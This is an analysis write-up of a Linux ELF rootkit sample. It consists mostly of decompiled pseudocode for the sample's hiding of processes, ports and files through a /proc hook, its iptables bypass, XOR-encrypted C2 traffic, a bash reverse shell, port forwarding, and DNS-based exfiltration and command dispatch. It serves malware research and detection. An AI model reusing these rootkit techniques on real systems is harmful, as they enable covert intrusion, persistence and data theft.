23 KiB
23 KiB
Rootkit 101
Initital approach
Thanks to KorbenD for sharing the sample recently detected by Thor (here).
The ELF rootkit begins to initiate for hiding the process to user. This begins to get the system informations by recon actions (computername, user, mac, interfaces informations...) and begin as daemon for running in the background. This performs several hide ways for hiding the activity to user and also bypass the iptables for launch the main thread and UDP subthread (DNS exfiltration). If the attribute of the elf isn't good, this modify theirs attributes of the owner by lchown call.
undefined8 main(undefined8 argc, char **argv)
{
undefined8 *puVar1;
uint16_t uVar2;
uint32_t uVar3;
undefined8 uVar4;
char **s;
undefined8 var_24h;
int32_t var_18h;
int64_t var_14h;
var_24h._0_4_ = (int32_t)argc;
if ((int32_t)argc < 2) {
var_14h._0_4_ = 0;
while ((int32_t)var_14h < (int32_t)var_24h) {
uVar4 = strlen(argv[(int32_t)var_14h]);
memset(argv[(int32_t)var_14h], 0, uVar4);
var_14h._0_4_ = (int32_t)var_14h + 1;
}
puVar1 = (undefined8 *)*argv;
*puVar1 = 0x68655f697363735b;
*(undefined2 *)(puVar1 + 1) = 0x5d;
get_mac((char *)MAGIC);
daemon(1);
init_crc_table();
uVar3 = getpid();
HidePidPort(1, (uint64_t)uVar3);
var_18h = 0;
while (var_18h < 3) {
HidePidPort(3, (uint64_t)*(uint32_t *)(DecRemotePort + (int64_t)var_18h * 4));
var_18h = var_18h + 1;
}
HidePidPort(3, 0x1776);
HidePidPort(7, 0x1776);
uVar3 = inet_addr(_DNS_ADDR);
bypass_iptables(0xd, (uint64_t)uVar3);
uVar2 = htons(0x1776);
bypass_iptables(0xe, (uint64_t)uVar2);
uVar2 = htons(0x1776);
bypass_iptables(0xf, (uint64_t)uVar2);
pthread_create((int64_t)&var_24h + 4, 0, MainThread, 0);
pthread_create((int64_t)&var_24h + 4, 0, UdpThread, 0);
pause();
} else {
if ((int32_t)argc == 2) {
lchown(argv[1], 0x95b62d85, 0xf100cbff);
}
}
return 0;
}
We can easily see on the graphs of calls performed by the main function.
As explained previously, this check for getting the mac of the interface in checking if that's in IPv4 or IPv6, this use sprintf for parsing to the format of the MAC address.
s1._0_4_ = 0;
fildes = socket(2, 1, 0);
if (fildes != 0xffffffff) {
var_60h._0_4_ = 0x500;
var_58h = (int64_t)&var_560h;
iVar1 = ioctl(fildes, 0x8912, &var_60h);
if (-1 < iVar1) {
var_3ch = (int32_t)((uint64_t)(int64_t)(int32_t)var_60h / 0x28);
while ((int32_t)s1 < var_3ch) {
iVar1 = strncmp(&var_560h + (int64_t)(int32_t)s1 * 5, 0x408380, 2);
if (((iVar1 != 0) &&
(iVar1 = ioctl(fildes, 0x8927, &var_560h + (int64_t)(int32_t)s1 * 5, &var_560h), -1 < iVar1)) &&
((acStack1366[(int64_t)(int32_t)s1 * 0x28] != '\0' ||
((((acStack1366[(int64_t)(int32_t)s1 * 0x28 + 1] != '\0' ||
(acStack1366[(int64_t)(int32_t)s1 * 0x28 + 2] != '\0')) ||
(acStack1366[(int64_t)(int32_t)s1 * 0x28 + 3] != '\0')) ||
((acStack1366[(int64_t)(int32_t)s1 * 0x28 + 4] != '\0' ||
(acStack1366[(int64_t)(int32_t)s1 * 0x28 + 5] != '\0')))))))) {
sprintf(arg1, "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
acStack1366[(int64_t)(int32_t)s1 * 0x28], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 1],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 2], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 3],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 4], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 5],
acStack1366[(int64_t)(int32_t)s1 * 0x28], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 1],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 2], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 3],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 4], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 5],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 2], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 3],
acStack1366[(int64_t)(int32_t)s1 * 0x28 + 4], acStack1366[(int64_t)(int32_t)s1 * 0x28 + 5]);
close(fildes); // close access to socket
return 0;
}
s1._0_4_ = (int32_t)s1 + 1;
}
}
close(fildes); // close access to socket
}
// if IPv6
stream = fopen64("/proc/net/if_inet6", 0x4083c9);
if (stream != 0) {
iVar2 = fgets(&s2, 0x7ff, stream); // close access to stream
if (((iVar2 != 0) && (iVar2 = fgets(&s2, 0x7ff, stream), iVar2 != 0)) && (uVar3 = strlen(&s2), 0x1f < uVar3)) {
memcpy(arg1, &s2, 0x20, &s2);
arg1[0x20] = '\0';
fclose(stream); // close access to stream
return 0;
}
fclose(stream); // close access to stream
}
return 0xffffffff;
This continues for getting all the IP from all the interfaces, the current IP and the hostname.
// Get all the IP of the interfaces
var_10h = (char *)0x4084e1;
memset(arg1, 0, (int64_t)(int32_t)arg2);
fildes = socket(2, 2, 0);
if ((int32_t)fildes < 0) {var_8h._0_4_ = 0;}
else {
var_2b0h._0_4_ = 0x280;
var_2a8h = (int64_t)&var_2a0h;
iVar1 = ioctl(fildes, 0x8912, &var_2b0h);
if (iVar1 == 0) {
close(fildes);
var_18h = (int32_t)((uint64_t)(int64_t)(int32_t)var_2b0h / 0x28);
var_8h._0_4_ = 0;
var_8h._4_4_ = 0;
while (var_8h._4_4_ < var_18h) {
s2 = (char *)inet_ntoa(auStack660[(int64_t)var_8h._4_4_ * 10]);
iVar1 = strcmp(s2, "127.0.0.1");
if (iVar1 != 0) {
strcat(arg1, s2, s2);
strcat(arg1, var_10h, var_10h);
var_8h._0_4_ = (int32_t)var_8h + 1;
}
var_8h._4_4_ = var_8h._4_4_ + 1;
}
} else {
close(fildes);
var_8h._0_4_ = 0;
}
}
return (int32_t)var_8h;
// Resolve for the IP and the hostname
var_4h = 0;
var_20h = 0;
var_18h = 0;
if (CONCAT44(in_RDI, arg1) == 0) {var_4h = 0;}
else {
iVar1 = is_ip(arg1);
if (iVar1 < 1) {
iVar1 = resolve(arg1, (int64_t)&var_20h);
if (iVar1 != 0) {var_4h = inet_addr(&var_20h);}
} else {
iVar2 = gethostbyname(CONCAT44(in_RDI, arg1));
if (iVar2 == 0) {var_4h = 0;}
else {
var_4h = ***(uint32_t ***)(iVar2 + 0x18);
if (var_4h == 0) {var_4h = 0;}
}
}
}
return var_4h;
This bypasses the iptables restrictions in using a hook in using a virtual device and iocti syscall for pushing the data to send.
undefined4 bypass_iptables(int64_t arg1, int64_t arg2)
{
int64_t var_34h;
int64_t var_20h;
int64_t var_18h;
uint32_t fildes;
int64_t var_4h;
var_34h._0_4_ = (undefined4)arg1;
var_34h._4_4_ = (undefined4)arg2;
var_4h._0_4_ = 0xffffffff;
fildes = 0xffffffff;
fildes = open64("/proc/rs_dev", 0x800); // Pass a virtual device by hook syscall
if (fildes != 0xffffffff) {
var_20h._0_2_ = (undefined2)(undefined4)var_34h;
var_18h = (int64_t)&var_34h + 4;
var_4h._0_4_ = ioctl(fildes, 0x46375829, &var_20h); // use system call ioctl for push the data
close(fildes);
}
return (undefined4)var_4h;
}
This encrypts and decrypts the data received or send to the C2 in using a string and the number of the increments pushed in argument of the function (fixed by exchange between implant and C2).
void * encrypt_code(void *arg1, undefined8 arg2, undefined8 arg3)
{
void *var_18h;
int64_t var_10h;
int64_t var_8h;
var_10h._4_4_ = 0;
var_8h = (int64_t)arg1;
while (var_10h._4_4_ < (int32_t)arg2) {
*(uint8_t *)var_8h = *(uint8_t *)var_8h ^ "CB2FA36AAA9541F0Unknown"[var_10h._4_4_ % 0x10];
var_10h._4_4_ = var_10h._4_4_ + 1;
var_8h = var_8h + 1;
}
return arg1;
}
This can initiate a port forwarding, in creating a new socket for initiating the endpoint instance between the two sockets and establish the port fordwarding.
pthread_self();
pthread_detach();
fildes._0_4_ = 0xffffffff;
exceptfds = 0xffffffff;
exceptfds = createsocket((uint64_t)(*(uint32_t *)((int64_t)arg1 + 0xc) & 0xffff));
if (exceptfds == -1) {
// WARNING: Load size is inaccurate
if (0 < *arg1) {
bzero(&s, 0x18);
var_34h._0_4_ = 6;
var_38h = *(undefined4 *)((int64_t)arg1 + 0x18);
s._0_4_ = CalcHeaderCrc();
encrypt_code(&s, 0x18, arg3);
// WARNING: Load size is inaccurate
safesend((uint64_t)*arg1, &s, 0x18);
}
} else {
if (*(int64_t *)((int64_t)arg1 + 0x10) != 0) { **(int32_t **)((int64_t)arg1 + 0x10) = exceptfds; }
var_d4h._0_4_ = 0x10;
do {
while( true ) {
iVar4 = 0x10;
puVar5 = &readfds;
while (iVar4 != 0) {
iVar4 = iVar4 + -1;
*puVar5 = 0;
puVar5 = puVar5 + 1;
}
var_ch = 0;
var_10h = (int32_t)puVar5;
iVar2 = exceptfds;
if (exceptfds < 0) { iVar2 = exceptfds + 0x3f; }
uVar1 = (uint8_t)(exceptfds >> 0x37);
(&readfds)[iVar2 >> 6] = 1 << (((char)exceptfds + (uVar1 >> 2) & 0x3f) - (uVar1 >> 2) & 0x3f) | (&readfds)[iVar2 >> 6];
stack0xffffffffffffff28 = 1;
var_c8h = 0;
var_14h = select(exceptfds + 1, &readfds, 0, 0, (int64_t)&var_d4h + 4);
uVar6 = (undefined4)((uint64_t)in_stack_fffffffffffffed8 >> 0x20);
if (var_14h < 0) break;
if ((var_14h != 0) && (0 < var_14h)) {
fildes._0_4_ = accept(exceptfds, &var_f0h, &var_d4h, &var_f0h);
if ((uint32_t)fildes == 0xffffffff) goto code_r0x00405084;
in_stack_fffffffffffffed8 = CONCAT44(uVar6, 10);
iVar2 = set_sock_keep_alive((uint32_t)fildes, (void *)0x1, (void *)0x5, (void *)0x5, (void *)0x5, 10, in_stack_fffffffffffffed8);
if ((iVar2 == -1) || (var_20h = (void *)malloc(0xc), (undefined4 *)var_20h == (undefined4 *)0x0))
goto code_r0x00405084;
*(uint32_t *)((int64_t)var_20h + 8) = (uint32_t)fildes;
*(undefined4 *)var_20h = *(undefined4 *)((int64_t)arg1 + 4);
*(undefined4 *)((int64_t)var_20h + 4) = *(undefined4 *)((int64_t)arg1 + 8);
pthread_create(&var_f8h, 0, Loop, var_20h);
}
}
piVar3 = (int32_t *)__errno_location();
} while (*piVar3 == 4);
}
code_r0x00405084:
close((uint32_t)fildes);
close(exceptfds);
free(arg1);
return;
The rootkit can also execute command by shell instance and modify settings on the system. The first idea with a port forwarding for a red team rest to use it with a modification of the iptables for forward the data node to node as pivoting measure on the infrastructure. This rest doesn't exclude that the group use this process for the pivoting in the infrastructure not even a function is specifically implemented in the rootkit.
This initiates the bash instance, this begins to open the address of the tty console by ptmx_open for check if this can use it after making a fork for separate process group leader anymore and hence setting the sid and pgid of the new session to actual pid in calling execve for launch the bash instance (avoid throwing EPERM by the kernel due process groups cannot move between sessions).
var_44h._0_4_ = (uint32_t)arg1;
fd = 0xffffffff;
var_10h = 0xffffffff;
pid._0_4_ = -1;
fildes = 0;
fd = ptmx_open((char *)&var_30h);
if (fd != 0xffffffff) {
var_44h._6_2_ = (undefined2)arg_20h;
var_44h._4_2_ = (undefined2)((uint64_t)arg_20h >> 0x20);
ioctl(fd, 0x5414, (int64_t)&var_44h + 4);
pid._0_4_ = fork();
if ((int32_t)pid == 0) {
fildes = 3;
while (fildes < 0x400) {
close(fildes);
fildes = fildes + 1;
}
iVar1 = setsid();
if (-1 < iVar1) {
var_10h = open64(&var_30h, 2);
if (var_10h != 0xffffffff) {
dup2(var_10h, 0);
dup2(var_10h, 1);
dup2(var_10h, 2);
close(var_10h);
chdir(0x4084d5);
execve("/bin/bash", earg, envp);
}
}
exit(0);
}
if (0 < (int32_t)pid) {
uVar2 = CalcHeaderCrc();
arg_10h._0_4_ = uVar2;
encrypt_code(&arg_10h, 0x18, arg3);
iVar1 = safesend((uint64_t)(uint32_t)var_44h, &arg_10h, 0x18);
if (iVar1 != 0) {
LoopData((uint64_t)fd, (uint64_t)(uint32_t)var_44h);
kill((int32_t)pid, 9);
wait(wstatus);
}
}
}
close(fd);
return (int32_t)pid;
The "hide" function uses a switch condition for redirect to the needed functions to perform for hiding PID, port, files or the attributes for change ownership of designed files by lchown call. We can note that a lot of case conditions are empty on the results, that for making more harder the analysis and AV detection ?
var_1014h._0_4_ = (uint32_t)arg1;
var_4h._0_4_ = 0xffffffff;
if (arg_10h._4_4_ != 0) {
if (0xfff < arg_10h._4_4_) goto code_r0x00403566;
iVar1 = saferecv(arg1 & 0xffffffff, (int64_t)&var_1014h + 4, (uint64_t)arg_10h._4_4_);
if (iVar1 == 0) goto code_r0x00403566;
encrypt_code((void *)((int64_t)&var_1014h + 4), (uint64_t)arg_10h._4_4_, (uint64_t)arg_10h._4_4_);
}
arg_20h._4_4_ = (uint32_t)((uint64_t)arg_20h >> 0x20);
arg_10h._4_4_ = (uint32_t)((uint64_t)arg_10h >> 0x20);
// switch table (21 cases) at 0x4081f8
switch(arg_20h & 0xffffffff) {
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
var_4h._0_4_ = HidePidPort(arg_20h & 0xffffffff, (uint64_t)arg_20h._4_4_);
break;
case 0xb:
case 0xc:
if (arg_10h._4_4_ != 0) {
var_4h._0_4_ = HideFile(arg_20h & 0xffffffff, (char *)((int64_t)&var_1014h + 4));
}
break;
case 0x13:
if (arg_10h._4_4_ != 0) {
var_4h._0_4_ = lchown((int64_t)&var_1014h + 4, 0x95b62d85, 0xf100cbff);
}
break;
case 0x14:
if (arg_10h._4_4_ != 0) {
var_4h._0_4_ = lchown((int64_t)&var_1014h + 4, 0, 0);
}
}
code_r0x00403566:
arg_20h._0_4_ = (undefined4)var_4h;
uVar2 = CalcHeaderCrc();
arg_10h._0_4_ = uVar2;
encrypt_code(&arg_10h, 0x18, arg3);
safesend((uint64_t)(uint32_t)var_1014h, &arg_10h, 0x18);
return;
For hiding the process, this hook in opening the access to the list of the process and hide it by ioctl syscall.
int64_t var_34h;
int64_t var_20h;
int64_t var_18h;
uint32_t fildes;
int64_t var_4h;
var_34h._0_4_ = (undefined4)arg1;
var_34h._4_4_ = (undefined4)arg2;
var_4h._0_4_ = 0xffffffff;
fildes = 0xffffffff;
fildes = open64("/proc/rs_dev", 0x800);
if (fildes != 0xffffffff) {
var_20h._0_2_ = (undefined2)(undefined4)var_34h;
var_18h = (int64_t)&var_34h + 4;
var_4h._0_4_ = ioctl(fildes, 0x46375829, &var_20h);
close(fildes);
}
return (undefined4)var_4h;
The same process is doing for hide the files in using the reference to the files in argument to search and hide it.
var_34h._0_4_ = (undefined4)arg1;
var_4h._0_4_ = 0xffffffff;
fildes = 0xffffffff;
fildes = open64("/proc/rs_dev", 0x800);
if (fildes != 0xffffffff) {
unique0x10000080 = (int64_t)arg2;
var_28h._0_2_ = strlen(arg2);
var_20h._0_2_ = (undefined2)(undefined4)var_34h;
var_18h = (int64_t)&var_34h + 4;
var_4h._0_4_ = ioctl(fildes, 0x46375829, &var_20h);
close(fildes);
}
return (undefined4)var_4h;
The rootkit adds the DNS IP address for exfiltration and communications to the C2 (can also remove the address after updating the new IP of the DNS to contact). This can also manage PKG and clear all the DNS entries on the configuration.
// add new DNS entry
iVar1 = 0x200;
ppcVar2 = &s;
while (iVar1 != 0) {
iVar1 = iVar1 + -1;
*ppcVar2 = (char *)0x0;
ppcVar2 = ppcVar2 + 1;
}
var_2ch = 0;
ptr = (void *)0x0;
var_1ch = 0;
var_38h = (void *)0x0;
s1 = (char *)0x0;
var_28h = (char *)0x0;
var_8h = (int64_t)arg1;
do {
if (*(char *)var_8h == '\0') { return 0;}
var_ch = 0;
memset(&s, 0, 0x1000);
while (((*(char *)var_8h != '\r' && (*(char *)var_8h != '\n')) && (*(char *)var_8h != '\0'))) {
*(undefined *)((int64_t)&s + (int64_t)var_ch) = *(undefined *)var_8h;
var_ch = var_ch + 1;
var_8h = var_8h + 1;
}
if ((char)s != '\0') {
var_1ch = 0;
ptr = (void *)0x0;
s1 = (char *)strchr(&s, 0x3a);
if (s1 != (char *)0x0) {
*s1 = '\0';
var_38h = &s;
s1 = s1 + 1;
var_28h = (char *)strtok(s1);
while (var_28h != (char *)0x0) {
var_2ch = inet_addr(var_28h);
if (var_2ch != 0xffffffff) {
var_1ch = var_1ch + 1;
ptr = (void *)realloc(ptr, (uint64_t)var_1ch * 4, (uint64_t)var_1ch * 4);
if (ptr == (void *)0x0) { return 0; }
*(uint32_t *)((uint64_t)(var_1ch - 1) * 4 + (int64_t)ptr) = var_2ch;
}
var_28h = (char *)strtok(0);
}
if (ptr != (void *)0x0) {
conf_DNS(0x10, (int64_t)var_38h, (int64_t)ptr, (uint64_t)(var_1ch & 0xffff), arg2 & 0xffff);
free(ptr);
}
}
}
if (*(char *)var_8h != '\0') {
var_8h = var_8h + 1;
}
} while( true );
Send the data by DNS queries to the DNS server.
undefined4 sendudp(int64_t arg1, int64_t arg2, void *arg3, int64_t arg4)
{
int32_t iVar1;
int64_t var_38h;
void *var_30h;
int64_t var_24h;
undefined4 var_1ch;
undefined4 optname;
uint32_t fildes;
int64_t var_4h;
var_24h._0_4_ = (undefined4)arg1;
fildes = 0xffffffff;
optname = 1;
var_4h._0_4_ = 0xffffffff;
fildes = socket(2, 2, 0);
if (fildes != 0xffffffff) {
var_24h._4_2_ = 2;
var_24h._6_2_ = htons(arg2 & 0xffff);
var_1ch = (undefined4)var_24h;
iVar1 = setsockopt(fildes, 1, 6, &optname, 4);
if (-1 < iVar1) {
var_4h._0_4_ = sendto(fildes, arg3, arg4, 0, (int64_t)&var_24h + 4, 0x10);
}
}
close(fildes);
return (undefined4)var_4h;
}
This check the reply for getting the orders to perform on the machine.
if (((int64_t)(&readfds)[(int32_t)uVar3 >> 6] >> (((char)(uint32_t)socket + (uVar2 >> 2) & 0x3f) - (uVar2 >> 2) & 0x3f) & 1U) != 0) {
length = recv_((uint64_t)(uint32_t)socket, (void *)((int64_t)&socket + 4), 0x1000);
if (length < 1) {return 0 }
var_14h = send_((uint64_t)(uint32_t)arg2, (char *)((int64_t)&socket + 4), (int64_t)length);
if (var_14h != length) { return 0; }
}
This can also receive the data for writing a file on the machine.
var_4h = 0;
socket._0_4_ = (uint32_t)arg1;
do {
do {
do {
while( true ) {
iVar5 = 0x10;
puVar6 = &readfds;
while (iVar5 != 0) {
iVar5 = iVar5 + -1;
*puVar6 = 0;
puVar6 = puVar6 + 1;
}
var_8h = 0;
var_ch = (int32_t)puVar6;
uVar3 = (uint32_t)socket;
if ((int32_t)(uint32_t)socket < 0) { uVar3 = (uint32_t)socket + 0x3f; }
uVar1 = (uint8_t)((int32_t)(uint32_t)socket >> 0x37);
(&readfds)[(int32_t)uVar3 >> 6] = 1 << (((char)(uint32_t)socket + (uVar1 >> 2) & 0x3f) - (uVar1 >> 2) & 0x3f) | (&readfds)[(int32_t)uVar3 >> 6];
uVar3 = (uint32_t)arg2;
if ((int32_t)(uint32_t)arg2 < 0) { uVar3 = (uint32_t)arg2 + 0x3f;}
uVar1 = (uint8_t)((int32_t)(uint32_t)arg2 >> 0x37);
(&readfds)[(int32_t)uVar3 >> 6] = 1 << (((char)(uint32_t)arg2 + (uVar1 >> 2) & 0x3f) - (uVar1 >> 2) & 0x3f) | (&readfds)[(int32_t)uVar3 >> 6];
writefds = 1;
var_a8h = 0;
uVar3 = (uint32_t)arg2;
if ((int32_t)(uint32_t)arg2 < (int32_t)(uint32_t)socket) { uVar3 = (uint32_t)socket; }
var_4h = select(uVar3 + 1, &readfds, 0, 0, &writefds);
if (-1 < (int32_t)var_4h) break;
piVar4 = (int32_t *)__errno_location();
if (*piVar4 != 4) { return 0xffffffff; }
}
} while (var_4h == 0);
uVar3 = (uint32_t)socket;
if ((int32_t)(uint32_t)socket < 0) {
uVar3 = (uint32_t)socket + 0x3f;
}
uVar2 = (uint8_t)((int32_t)(uint32_t)socket >> 0x37);
if (((int64_t)(&readfds)[(int32_t)uVar3 >> 6] >>
(((char)(uint32_t)socket + (uVar2 >> 2) & 0x3f) - (uVar2 >> 2) & 0x3f) & 1U) != 0) {
length = recv_((uint64_t)(uint32_t)socket, (void *)((int64_t)&socket + 4), 0x1000);
if (length < 1) { return 0; }
var_14h = send_((uint64_t)(uint32_t)arg2, (char *)((int64_t)&socket + 4), (int64_t)length);
if (var_14h != length) { return 0; }
}
uVar3 = (uint32_t)arg2;
if ((int32_t)(uint32_t)arg2 < 0) { uVar3 = (uint32_t)arg2 + 0x3f; }
} while (((int64_t)(&readfds)[(int32_t)uVar3 >> 6] >> (((char)(uint32_t)arg2 + (uVar1 >> 2) & 0x3f) - (uVar1 >> 2) & 0x3f) & 1U) == 0);
length = recv_((uint64_t)(uint32_t)arg2, (void *)((int64_t)&socket + 4), 0x1000);
if (length < 1) { return 0; }
var_14h = send_((uint64_t)(uint32_t)socket, (char *)((int64_t)&socket + 4), (int64_t)length);
} while (var_14h == length);
return 0;
Once the data extract to the response of the DNS queries, that check by switch condition the code for initiating the commands to perform.
switch((undefined4)var_34h) {
case 1: // 0x1 -> New thread for a console
pthread_create(&var_1d8h, 0, PtyThread, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 2: // 0x2 -> New thread for change attributes of files
pthread_create(&var_1d8h, 0, FileThread, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 5: // 0x5 -> New thread for mapping network
pthread_create(&var_1d8h, 0, PortMapThread, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 6: // 0x6 -> New thread for the port forwarding
pthread_create(&var_1d8h, 0, PortforwardThread, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 7: // 0x7 -> New thread for hiding methods
pthread_create(&var_1d8h, 0, HideThread, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 8: // 0x8 -> New thread for reading the configuration
pthread_create(&var_1d8h, 0, ReadReConnConf, &var_2f0h, in_R8, in_R9, uVar3, uVar5, uVar6);
break;
case 0xb: // 0xb -> Add to the DNS entry
if (var_40h._4_4_ != 0) {
ptr = (void *)malloc(var_40h._4_4_);
if (ptr == (void *)0x0) goto code_r0x00403c59;
memset(ptr, 0, var_40h._4_4_);
iVar1 = saferecv((uint64_t)(uint32_t)fildes, (int64_t)ptr, (uint64_t)var_40h._4_4_);
if (iVar1 == 0) goto code_r0x00403c59;
encrypt_code(ptr, (uint64_t)var_40h._4_4_, (uint64_t)var_40h._4_4_);
AddDNS(ptr, (uint64_t)(var_34h._4_4_ & 0xffff));
free();
}
break;
case 0xc: // 0xc -> Remove to the DNS entry
if (var_40h._4_4_ != 0) {
ptr = (void *)malloc(var_40h._4_4_);
if (ptr == (void *)0x0) goto code_r0x00403c59;
memset(ptr, 0, var_40h._4_4_);
iVar1 = saferecv((uint64_t)(uint32_t)fildes, (int64_t)ptr, (uint64_t)var_40h._4_4_);
if (iVar1 == 0) goto code_r0x00403c59;
encrypt_code(ptr, (uint64_t)var_40h._4_4_, (uint64_t)var_40h._4_4_);
DelDNS((int64_t)ptr);
free();
}
break;
case 0xd: // 0xd -> Flush all the DNS configuration
conf_DelAll_DNS();
}